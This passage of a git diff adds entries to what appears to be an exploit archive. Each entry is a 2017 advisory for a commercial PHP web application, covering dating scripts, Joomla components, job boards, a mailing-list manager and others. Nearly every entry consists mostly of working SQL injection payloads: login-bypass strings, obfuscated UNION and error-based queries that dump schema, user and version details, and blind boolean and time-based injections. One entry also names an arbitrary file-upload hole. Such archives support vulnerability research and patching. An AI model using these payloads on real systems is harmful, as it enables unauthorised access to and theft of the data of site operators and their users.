Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: product_id=3 AND SLEEP(5) +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43085.txt b/platforms/php/webapps/43085.txt new file mode 100755 index 000000000..b1df8d8a1 --- /dev/null +++ b/platforms/php/webapps/43085.txt @@ -0,0 +1,28 @@ +# # # # # +# Exploit Title: tPanel 2009 - Authentication Bypass +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.datacomponents.net/ +# Software Link: http://www.datacomponents.net/products/hosting/tpanel/ +# Demo: http://demo.datacomponents.net/tpanel/ +# Version: 2009 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15974 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# +# http://localhost/[PATH]/login.php +# +# User: 'or 1=1 or ''=' Pass: anything +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43086.txt b/platforms/php/webapps/43086.txt new file mode 100755 index 000000000..f7a68f786 --- /dev/null +++ b/platforms/php/webapps/43086.txt @@ -0,0 +1,44 @@ +# # # # # +# Exploit Title: Sokial Social Network Script 1.0 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.sokial.net/ +# Software http://www.sokial.net/demonstrations-social-network.sk +# Demo: http://demo.sokial.net/ +# Version: 1.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15973 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/admin/members_view.php?id=[SQL] +# +# 2271+aND(/*!00033SelEcT*/+0x30783331+/*!00033frOM*/+(/*!00033SelEcT*/+cOUNT(*),/*!00033cOnCaT*/((/*!00033sELECT*/(/*!00033sELECT*/+/*!00033cOnCaT*/(cAST(dATABASE()+aS+/*!00033cHAR*/),0x7e,0x496873616E53656e63616e))+/*!00033FRoM*/+iNFORMATION_sCHEMA.tABLES+/*!00033wHERE*/+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(/*!00033rAND*/(0)*2))x+/*!00033FRoM*/+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+/*!00033aNd*/+1=1 +# +# Parameter: id (GET) +# Type: boolean-based blind +# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause +# Payload: id=2271 RLIKE (SELECT (CASE WHEN (8371=8371) THEN 2271 ELSE 0x28 END)) +# +# Type: error-based +# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) +# Payload: id=2271 AND (SELECT 9357 FROM(SELECT COUNT(*),CONCAT(0x7176716a71,(SELECT (ELT(9357=9357,1))),0x717a6b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) +# +# Type: stacked queries +# Title: MySQL > 5.0.11 stacked queries (comment) +# Payload: id=2271;SELECT SLEEP(5)# +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 OR time-based blind +# Payload: id=2271 OR SLEEP(5) +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43087.txt b/platforms/php/webapps/43087.txt new file mode 100755 index 000000000..3b891705f --- /dev/null +++ b/platforms/php/webapps/43087.txt @@ -0,0 +1,32 @@ +# # # # # +# Exploit Title: SoftDatepro Dating Social Network 1.3 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.softdatepro.com/ +# Software Link: https://codecanyon.net/item/softdatepro-build-your-own-dating-social-network/3650044 +# Demo: http://demo.softdatepro.com/ +# Version: 1.3 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15972 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/viewprofile.php?profid=[SQL] +# http://localhost/[PATH]/viewmessage.php?sender_id=[SQL] +# +# -263'++/*!08888UNION*/+/*!08888ALL*/+/*!08888SELECT*/+0x31,0x32,(/*!08888SElEct*/+ExpOrt_sEt(5,@:=0,(/*!08888sElEct*/+cOunt(*)/*!08888frOm*/(infOrmatiOn_schEma.cOlumns)whErE@:=ExpOrt_sEt(5,ExpOrt_sEt(5,@,/*!08888tablE_namE*/,0x3c6c693E,2),/*!08888cOlumn_namE*/,0xa3a,2)),@,2)),0x34,0x35,0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136--+- +# +# http://localhost/[PATH]/admin +# +# Email: 'or 1=1 or ''=' Pass: anything +# +# Etc.. +# # # # # diff --git a/platforms/php/webapps/43088.txt b/platforms/php/webapps/43088.txt new file mode 100755 index 000000000..48278ec14 --- /dev/null +++ b/platforms/php/webapps/43088.txt @@ -0,0 +1,32 @@ +# # # # # +# Exploit Title: Same Sex Dating Software Pro 1.0 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.softdatepro.com/ +# Software Link: https://codecanyon.net/item/same-date-pro-same-sex-dating-software/4530959 +# Demo: http://www.ss.softdatepro.com/ +# Version: 1.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15971 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an users to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/viewprofile.php?profid=[SQL] +# http://localhost/[PATH]/viewmessage.php?sender_id=[SQL] +# +# -263'++/*!08888UNION*/+/*!08888ALL*/+/*!08888SELECT*/+0x31,0x32,(/*!08888SElEct*/+ExpOrt_sEt(5,@:=0,(/*!08888sElEct*/+cOunt(*)/*!08888frOm*/(infOrmatiOn_schEma.cOlumns)whErE@:=ExpOrt_sEt(5,ExpOrt_sEt(5,@,/*!08888tablE_namE*/,0x3c6c693E,2),/*!08888cOlumn_namE*/,0xa3a,2)),@,2)),0x34,0x35,0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136--+- +# +# http://localhost/[PATH]/admin +# +# Email: 'or 1=1 or ''=' Pass: anything +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43089.txt b/platforms/php/webapps/43089.txt new file mode 100755 index 000000000..fd9db24bf --- /dev/null +++ b/platforms/php/webapps/43089.txt @@ -0,0 +1,34 @@ +# # # # # +# Exploit Title: PHP CityPortal 2.0 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.phpcityportal.com/ +# Software Link: http://www.phpcityportal.com/index.php +# Demo: http://phpcityportal.com/demo +# Version: 2.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15970 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/index.php?page=news&nid=[SQL] +# +# Parameter: cat (GET) +# Type: boolean-based blind +# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT) +# Payload: cat=1' OR NOT 6616=6616# +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 OR time-based blind +# Payload: cat=1' OR SLEEP(5)-- cCQQ +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43090.txt b/platforms/php/webapps/43090.txt new file mode 100755 index 000000000..56ff06c9f --- /dev/null +++ b/platforms/php/webapps/43090.txt @@ -0,0 +1,107 @@ +# # # # # +# Exploit Title: PG All Share Video 1.0 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.pilotgroup.net/ +# Software Link: http://www.allsharevideo.com/features.php +# Demo: http://demo.allsharevideo.com/ +# Version: 1.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15969 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/search/tag/[SQL] +# http://localhost/[PATH]/friends/index/1[SQL] +# http://localhost/[PATH]/users/profile/1[SQL] +# http://localhost/[PATH]/video_catalog/category/1[SQL] +# +# 'ANd(/*!06666seleCt+*/1/*!06666frOm*/(/*!06666seleCt*/%20COunt(*),/*!06666COnCAt*/((seleCt(seleCt+COnCAt(CAst(dAtAbAse()As%20ChAr),0x7e,0x496873616E53656e63616e))%20frOm%20infOrmAtiOn_sChemA.tAbles%20where%20tAble_sChemA=dAtAbAse()%20limit%200,1),flOOr(rAnd(0)*2))x%20frOm%20infOrmAtiOn_sChemA.tAbles%20grOup%20by%20x)A)%20AnD%20''=' +# +# Parameter: #1* (URI) +# Type: boolean-based blind +# Title: AND boolean-based blind - WHERE or HAVING clause +# Payload: http://localhost/[PATH]/search/tag/VerAyari' AND 2686=2686 AND 'UsmZ'='UsmZ +# +# Type: error-based +# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) +# Payload: http://localhost/[PATH]/search/tag/VerAyari' AND (SELECT 4572 FROM(SELECT COUNT(*),CONCAT(0x71717a6a71,(SELECT (ELT(4572=4572,1))),0x716b627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'iudq'='iudq +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: http://localhost/[PATH]/search/tag/VerAyari' AND SLEEP(5) AND 'iczN'='iczN +# +# Type: UNION query +# Title: Generic UNION query (NULL) - 3 columns +# Payload: http://localhost/[PATH]/search/tag/VerAyari' UNION ALL SELECT NULL,NULL,CONCAT(0x71717a6a71,0x4b6e4a524653614e47727a4f4464575253424c4d6c544f6b6a78454e4a756c75794d6a7765697269,0x716b627871)-- mAFc +# +# Parameter: #1* (URI) +# Type: boolean-based blind +# Title: AND boolean-based blind - WHERE or HAVING clause +# Payload: http://localhost/[PATH]/channels/category/7' AND 4239=4239 AND 'oXBo'='oXBo +# +# Type: error-based +# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) +# Payload: http://localhost/[PATH]/channels/category/7' AND (SELECT 4458 FROM(SELECT COUNT(*),CONCAT(0x7170626b71,(SELECT (ELT(4458=4458,1))),0x7176787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'JBxT'='JBxT +# +# Type: UNION query +# Title: Generic UNION query (NULL) - 3 columns +# Payload: http://localhost/[PATH]/channels/category/7' UNION ALL SELECT NULL,NULL,CONCAT(0x7170626b71,0x574355636a666d516c4d437a78696a5a6243555a46486f494a45455a6c49574e577765704a496367,0x7176787071)-- kJpu +# +# Parameter: #1* (URI) +# Type: boolean-based blind +# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause +# Payload: http://localhost/[PATH]/friends/index/11' RLIKE (SELECT (CASE WHEN (2135=2135) THEN 11 ELSE 0x28 END))-- SVFb +# +# Type: error-based +# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) +# Payload: http://localhost/[PATH]/friends/index/11' AND (SELECT 1564 FROM(SELECT COUNT(*),CONCAT(0x7170786a71,(SELECT (ELT(1564=1564,1))),0x716a717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- DoZE +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 OR time-based blind +# Payload: http://localhost/[PATH]/friends/index/11' OR SLEEP(5)-- Maum +# +# Parameter: #1* (URI) +# Type: boolean-based blind +# Title: AND boolean-based blind - WHERE or HAVING clause +# Payload: http://localhost/[PATH]/users/profile/1' AND 3612=3612 AND 'wNwI'='wNwI +# +# Type: error-based +# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) +# Payload: http://localhost/[PATH]/users/profile/1' AND (SELECT 3555 FROM(SELECT COUNT(*),CONCAT(0x716a767671,(SELECT (ELT(3555=3555,1))),0x717a7a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'XrEj'='XrEj +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: http://localhost/[PATH]/users/profile/1' AND SLEEP(5) AND 'XZVf'='XZVf +# +# Type: UNION query +# Title: Generic UNION query (NULL) - 3 columns +# Payload: http://localhost/[PATH]/users/profile/1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a767671,0x7a7a646e536849756f717771546e4547497549465459754f65636946535375667577596755616876,0x717a7a7a71)-- UaUA +# +# Parameter: #1* (URI) +# Type: boolean-based blind +# Title: AND boolean-based blind - WHERE or HAVING clause +# Payload: http://localhost/[PATH]/video_catalog/category/1' AND 4550=4550 AND 'SAmI'='SAmI +# +# Type: error-based +# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) +# Payload: http://localhost/[PATH]/video_catalog/category/1' AND (SELECT 4089 FROM(SELECT COUNT(*),CONCAT(0x716a6a7171,(SELECT (ELT(4089=4089,1))),0x716b786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'PTze'='PTze +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: http://localhost/[PATH]/video_catalog/category/1' AND SLEEP(5) AND 'ptLy'='ptLy +# +# Type: UNION query +# Title: Generic UNION query (NULL) - 3 columns +# Payload: http://localhost/[PATH]/video_catalog/category/1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6a7171,0x4c5a694b4948566c59527663484b7a466c76725746684863506159646973414749617966634d5145,0x716b786a71)-- zDQK +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43091.txt b/platforms/php/webapps/43091.txt new file mode 100755 index 000000000..474e5bb11 --- /dev/null +++ b/platforms/php/webapps/43091.txt @@ -0,0 +1,40 @@ +# # # # # +# Exploit Title: MyBuilder Clone 1.0 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.contractorscripts.com/ +# Software Link: http://order.contractorscripts.com/ +# Demo: http://demo.contractorscripts.com/ +# Version: 1.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15968 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/phpsqlsearch_genxml.php?subcategory=[SQL] +# +# 1'++aND(/*!09999sELeCT*/+0x30783331+/*!09999FrOM*/+(/*!09999SeLeCT*/+cOUNT(*),/*!09999CoNCaT*/((sELEcT(sELECT+/*!09999CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a) AND ''=' +# +# Parameter: subcategory (GET) +# Type: boolean-based blind +# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause +# Payload: subcategory=1' RLIKE (SELECT (CASE WHEN (9811=9811) THEN 1 ELSE 0x28 END))-- gzxz +# +# Type: error-based +# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) +# Payload: subcategory=1' AND (SELECT 1213 FROM(SELECT COUNT(*),CONCAT(0x7162626a71,(SELECT (ELT(1213=1213,1))),0x716b6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- qHTp +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 OR time-based blind +# Payload: subcategory=1' OR SLEEP(5)-- RvzR +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43092.txt b/platforms/php/webapps/43092.txt new file mode 100755 index 000000000..076592bde --- /dev/null +++ b/platforms/php/webapps/43092.txt @@ -0,0 +1,29 @@ +# # # # # +# Exploit Title: Mailing List Manager Pro 3.0 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.vote-pro.com/ +# Software Link: http://www.mailing-manager.com/demo.html +# Demo: http://www.mailing-manager.com/demo-gold/ +# Version: 3.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15967 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an users to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/admin/users/?sort=login&edit=[SQL] +# +# -2'++/*!03333UNION*/(/*!03333SELECT*/0x283129,0x283229,0x283329,/*!03333CONCAT_WS*/(0x203a20,USER()),0x283529,/*!03333CONCAT_WS*/(0x203a20,DATABASE()),/*!03333CONCAT_WS*/(0x203a20,VERSION()),0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429)--+- +# +# http://localhost/[PATH]/admin/template/?edit=[SQL] +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43093.txt b/platforms/php/webapps/43093.txt new file mode 100755 index 000000000..774f8ec6a --- /dev/null +++ b/platforms/php/webapps/43093.txt @@ -0,0 +1,34 @@ +# # # # # +# Exploit Title: Joomla! Component Zh YandexMap 6.1.1.0 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://zhuk.cc/ +# Software Link: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/zh-yandexmap/ +# Demo: http://joomla.zhuk.cc/index.php +# Version: 6.1.1.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15966 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/index.php?option=com_zhyandexmap&view=zhyandexmap&tmpl=component&id=3&placemarklistid=[SQL] +# +# Parameter: placemarklistid (GET) +# Type: boolean-based blind +# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) +# Payload: option=com_zhyandexmap&view=zhyandexmap&tmpl=component&id=3&placemarklistid=-8164) OR 5013=5013# +# +# Type: error-based +# Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR) +# Payload: option=com_zhyandexmap&view=zhyandexmap&tmpl=component&id=3&placemarklistid=-1660) OR 1 GROUP BY CONCAT(0x71627a7871,(SELECT (CASE WHEN (6691=6691) THEN 1 ELSE 0 END)),0x716b7a7671,FLOOR(RAND(0)*2)) HAVING MIN(0)# +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43094.txt b/platforms/php/webapps/43094.txt new file mode 100755 index 000000000..898e40ea9 --- /dev/null +++ b/platforms/php/webapps/43094.txt @@ -0,0 +1,34 @@ +# # # # # +# Exploit Title: Joomla! Component NS Download Shop 2.2.6 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: https://nswd.co/ +# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/paid-downloads/ns-downloadshop/ +# Demo: https://ds.nswd.co/ +# Version: 2.2.6 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15965 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/index.php?option=com_ns_downloadshop&task=invoice.create&id=[SQL] +# +# Parameter: id (GET) +# Type: boolean-based blind +# Title: MySQL >= 5.0 boolean-based blind - Parameter replace +# Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT (CASE WHEN (5078=5078) THEN 5078 ELSE 5078*(SELECT 5078 FROM INFORMATION_SCHEMA.PLUGINS) END)) +# +# Type: error-based +# Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR) +# Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT 2458 FROM(SELECT COUNT(*),CONCAT(0x716b626a71,(SELECT (ELT(2458=2458,1))),0x7178627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43095.txt b/platforms/php/webapps/43095.txt new file mode 100755 index 000000000..5dbf9c370 --- /dev/null +++ b/platforms/php/webapps/43095.txt @@ -0,0 +1,34 @@ +# # # # # +# Exploit Title: Job Board Script - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.nicephpscripts.com/ +# Software http://www.nicephpscripts.com/job_board_script.htm +# Demo: http://www.nicephpscripts.com/scripts/faqscript/ +# Version: N/A +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15964 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/index.php?nice_theme=[SQL] +# +# Parameter: nice_theme (GET) +# Type: boolean-based blind +# Title: AND boolean-based blind - WHERE or HAVING clause +# Payload: nice_theme=2 AND 9686=9686 +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: nice_theme=2 AND SLEEP(5) +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43096.txt b/platforms/php/webapps/43096.txt new file mode 100755 index 000000000..ab6aa12c2 --- /dev/null +++ b/platforms/php/webapps/43096.txt @@ -0,0 +1,40 @@ +# # # # # +# Exploit Title: iTech Gigs Script 1.21 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://itechscripts.com/ +# Software Link: http://itechscripts.com/the-gigs-script/ +# Demo: http://gigs.itechscripts.com/ +# Version: 1.21 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15963 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/browse-scategory.php?sc=[SQL] +# +# -12c4ca4238a0b923820dcc509a6f75849b'++/*!08888UNIoN*/(/*!08888SELECT*/+0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,(/*!08888SElEct*/+Export_sEt(5,@:=0,(/*!08888sElEct*/+count(*)/*!08888from*/(information_schEma.columns)whErE@:=Export_sEt(5,Export_sEt(5,@,/*!08888tablE_namE*/,0x3c6c693E,2),/*!08888column_namE*/,0xa3a,2)),@,2)),0x283829,0x283929,0x28313029)--+- +# +# http://localhost/[PATH]/service-provider.php?ser=[SQL] +# +# -9553'++/*!50000UNION*/+/*!50000SELECT*/+1,2,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+- +# +# Parameter: sc (GET) +# Type: boolean-based blind +# Title: AND boolean-based blind - WHERE or HAVING clause +# Payload: sc=12c4ca4238a0b923820dcc509a6f75849b' AND 5747=5747 AND 'tzJH'='tzJH +# +# Type: UNION query +# Title: Generic UNION query (NULL) - 10 columns +# Payload: sc=-5921' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a6a7a71,0x74624c4f7167546e4676635467647269456244634147776d584b77796e4870674661646a7a44485a,0x717a6a7a71),NULL,NULL,NULL-- bjaB +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43097.txt b/platforms/php/webapps/43097.txt new file mode 100755 index 000000000..c6c57154f --- /dev/null +++ b/platforms/php/webapps/43097.txt @@ -0,0 +1,26 @@ +# # # # # +# Exploit Title: iStock Management System 1.0 - Arbitrary File Upload +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://ikodes.com/ +# Software Link: https://codecanyon.net/item/istock-management-system/20405084 +# Demo: http://project.ikodes.com/basicims/ +# Version: 1.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15962 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an users upload arbitrary file.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/user/profile +# http://localhost/[PATH]//assets/images/[FILE] +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43098.txt b/platforms/php/webapps/43098.txt new file mode 100755 index 000000000..9c70ed50b --- /dev/null +++ b/platforms/php/webapps/43098.txt @@ -0,0 +1,26 @@ +# # # # # +# Exploit Title: iProject Management System 1.0 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://ikodes.com/ +# Software Link: https://codecanyon.net/item/iproject-management-system/20483358 +# Demo: http://project.ikodes.com/ikpms/ +# Version: 1.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15961 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an users to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/index.php?cmd=agent&mod=true&ID=[SQL] +# http://localhost/[PATH]/index.php?cmd=client_master&mod=true&ID=[SQL] +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43099.txt b/platforms/php/webapps/43099.txt new file mode 100755 index 000000000..bb46bf0ed --- /dev/null +++ b/platforms/php/webapps/43099.txt @@ -0,0 +1,43 @@ +# # # # # +# Exploit Title: Article Directory Script 3.0 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.yourarticlesdirectory.com/ +# Software Link: http://www.yourarticlesdirectory.com/ +# Demo: http://www.yourarticlesdirectory.com/livedemo.php +# Version: 3.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15960 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/category.php?id=[SQL] +# +# 18++/*!02222UniOn*/+(/*!02222SeleCt*/+0x283129,/*!02222CONCAT_WS*/(0x203a20,USER(),DATABASE(),VERSION()),0x283329,0x283429,0x3078323833353239)--+- +# +# http://localhost/[PATH]/author.php?id=[SQL] +# +# Parameter: id (GET) +# Type: boolean-based blind +# Title: AND boolean-based blind - WHERE or HAVING clause +# Payload: id=18 AND 8646=8646 +# +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: id=18 AND SLEEP(5) +# +# Parameter: id (GET) +# Type: AND/OR time-based blind +# Title: MySQL >= 5.0.12 AND time-based blind +# Payload: id=27 AND SLEEP(5) +# +# Etc.. +# # # # # diff --git a/platforms/php/webapps/43100.txt b/platforms/php/webapps/43100.txt new file mode 100755 index 000000000..abc2879ee --- /dev/null +++ b/platforms/php/webapps/43100.txt @@ -0,0 +1,32 @@ +# # # # # +# Exploit Title: Adult Script Pro 2.2.4 - SQL Injection +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://www.adultscriptpro.com/ +# Software Link: http://www.adultscriptpro.com/order.html +# Demo: http://www.adultscriptpro.com/demo.html +# Version: 2.2.4 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15959 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/download/[SQL] +# +# 